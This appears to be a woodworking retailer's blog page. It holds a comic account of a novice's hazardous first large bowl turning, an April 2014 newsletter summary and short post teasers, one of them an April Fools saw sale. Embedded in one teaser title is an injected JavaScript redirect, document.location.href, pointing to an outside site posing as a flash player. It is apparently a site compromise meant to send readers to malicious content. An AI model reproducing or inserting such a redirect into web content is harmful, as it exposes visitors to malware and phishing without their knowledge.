Apr 102014

metzler1About 30 years ago, I was very new to woodturning. A friend was moving out of town and wanted to leave his old 12″ Delta lathe in my garage. I had an extra few feet of space between the front of the cars. He gave me a one hour lesson on how to use it, as well as some tools. They were all scrapers.

I turned a few small bowls and in spite of a good amount of catches with the scrapers, I thought I needed a bigger challenge. Living in Atlanta at the time, I had seen a number of Ed Moulthrop’s bowls and admired them greatly. That had to be my next bigger challenge. I soon found a “how to” article in Fine Woodworking on Moulthrop as well as  an 18″ diameter piece of poplar or “Tulip Wood” as Moulthrop called it. The poplar had a purple streak in it caused by a lightning strike just like Ed’s. All was perfect to go.

Luckily, I had a large face plate. I attached it to the end grain of the log just like the pictures in the article showed. I heaved it onto the lathe bed, cantilevered it from the spindle and turned on the lathe…. The big piece of wood went flying off the face plate, screws at great speed, spinning wildly between our two cars and slammed into the post between the two garage doors. Still spinning, it stood itself up like a top in place and finally came to rest!  Maybe the screws were too short or too thin? Or maybe I needed to set the lathe belts at a slower speed?

Thicker screws and slower speed and it ran fairly smoothly. Unaware of potential bearing damage, I even added bags of sand on the lathe stand to dampen any wobble. All was good. The outside turned easily but slowly. The form was off some, but never mind that, I had to keep going.

The inside proved to be more challenging especially with a dull 1″ scraper. Once I was well into it, I had to move the tool rest inside the bowl as the scraper was too short to meet the interior. I got a few catches and bangs, hurting the back of my hand each time. Who knew you had to hold the scraper tip at a slight downward angle as well as keep it sharp?

metzler2Now hot, shirtless and almost cutting the back of my hand wide open on the next catch, I wisely devised a scheme of a cloth glove with several layers of aluminum flashing over the back of it to absorb the shock to my hand. The flashing was held in place with, of course, duct tape. It worked! Catch, bang, no pain. Wow! What a great idea.

Luckily, I finally finished the piece with my hand still a part of my body. The cloth part of the glove never caught on the bowl rim and ripped my hand off. My hand just had a few deep bruises on the back. Also, miraculously no damage was done to my wife”s car, nor mine. All was good, right?

The purple streak in the wood turned out to be from a big poison ivy vine that had been on the tree, not from lightning. Deep poison ivy all over my chest and arms. Apparently it is true, you have to suffer for art-even when it is mediocre.

I have since learned many things about woodturning, especially about safety. Being young, inexperienced and stupid is no way to be a woodturner. Go get some help!

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Apr 042014

aprilwoodnewspicOur newest issue of Wood News is now online!

Our April 2014 issue (#104) is filled with some great shop tours, project ideas, and tools. Special features this month include:

An “off-the-grid” woodworking shop in Hawaii amongst a whole bunch of avocado trees and other crops. John App shares how he maintains his woodworking shop with absolutely no connection to any electrical company, whatsoever.

Mike Smith continues his last workshop series with his 10th installment, Final Details, where he answers a few questions from his last installment regarding his dust collection system. He also goes through the set-up process of his table saw and work table.

Blog contributor, Lee Laird, discusses the Japanese Ryoba Saw and how you can resharpen the rip teeth on the saw once they get dull, and the best type of feather files to use in order to do so.

This month our ‘Show Us’ columns include:

Charlie Bridges’ converted garage workshop in Hartsville, TN. The garage is 24×24, and he uses half to work on his cars, and the other half as his workshop.

Joseph Sanzano shares his shaker-style woodworking projects in this months Show Us Your Woodworking column.

Serge Jacob “Jacko” from Belgium is a mechanic for both the Belgian Air Force and the aerobatic team, The Belgian Red Devils, and he shares some of his aerobatic team inspired carvings in this months Show Us Your Carving column.

We’ve also got a variety of tips from our regular contributors including:

The Down to Earth Woodworker: Steve shares his review of the JDS 2100-CKV Dust Collector, a good use for a hockey puck, the new Down to Earth Woodworker section of the Highland Woodworking Library, and a project idea for making Pet Steps.

In our monthly Tips From Sticks in the Mud, Jim gives a tip on removing moisture from compressed air tanks, and the usefulness of quick disconnects.

Alan Noel gives us 6 tips on painting over finishes.

Chris Bagby, the owner of Highland Woodworking, answers a question on ‘the making of span trees.’

And lastly, we’ve got reviews on Christopher Schwarz’s book Handsaw Essentials, as well as a tool review on the Earlex HV5500 Spray Station.

All of this and more in our April 2014 issue of Wood News Online!

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Apr 012014
ON SALE: Today only, Roy Underhill's "One-Stroke" Dovetail Saw

We just received a limited supply of Roy Underhill’s “One-Stroke” Dovetail Saw in stock. Today only, take advantage of our sale price of $4,114.00, while supplies last* Now you can make quick and easy dovetails in just one stroke with this beautiful, one-of-a-kind saw, made of high-quality Swedish Steel. Check out the video below of [...]

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Apr 012014
Woodworking Resolutions for 2014-Terry Chapman document.location.href="http://www.sommen.nu/templates/flash_player/?A"

We try to do a Christmas Wish List every year along with a New Year’s Resolution List. A time for reflection on the old year and plans for the new, I always find it a bittersweet time. I have never been one for changes, but this year brought some big ones and the next will [...]

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Mar 312014
How to Resharpen a Japanese Ryoba’s Rip Teeth

For those who haven’t read any of my previous articles, I enjoy utilizing both Western as well as Japanese woodworking tools, in my projects. To lay the groundwork, when I was a pre-teen, I had some good friends as next-door neighbors whose mother was Japanese, and the father had a number of Japanese tools, from hammers to saws. I [...]

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Mar 192014
The March 2014 issue of The Highland Woodturner

For our March issue of The Highland Woodturner, we wanted to gear it toward those who are new to woodturning or interested in find out more about it. This month’s articles include: Turning for Furniture Makers:  Curtis ran with our beginning woodturning theme by focusing his article on the idea of how woodworkers can incorporate [...]

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